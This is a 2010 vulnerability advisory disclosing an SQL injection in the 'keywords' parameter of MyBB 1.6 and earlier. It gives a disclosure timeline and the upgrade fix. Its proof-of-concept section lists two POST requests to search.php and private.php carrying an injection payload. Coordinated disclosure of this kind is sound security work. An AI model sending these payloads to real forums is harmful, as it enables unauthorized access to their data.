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MyBB 1.6 <= SQL Injection Vulnerability

1. OVERVIEW

Potential SQL Injection vulnerability was detected in MyBB.

2. APPLICATION DESCRIPTION

MyBB is a free bulletin board system software package developed by the
MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.

3. VULNERABILITY DESCRIPTION

The "keywords" parameter was not properly sanitized in /private.php
and /search.php which leads to SQL Injection vulnerability.
Full exploitation possibility is probably mitigated by clean_keywords
and clean_keywords_ft functions in inc/functions_search.php.

4. VERSIONS AFFECTED

MyBB 1.6 and lower

5. PROOF-OF-CONCEPT/EXPLOIT

=> /search.php

POST /mybb/search.php

action=do_search&forums=2&keywords='+or+'a'+'a&postthread=1

=> /private.php

POST /mybb/private.php

my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff

6. SOLUTION

Upgrade to 1.6.1

7. VENDOR

MyBB Development Team
http://www.mybb.com/

8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

9. DISCLOSURE TIME-LINE

2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-24: vulnerability disclosed

10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_sql_injection
About MyBB: http://www.mybb.com/about/mybb

#yehg [2010-12-24]

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Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd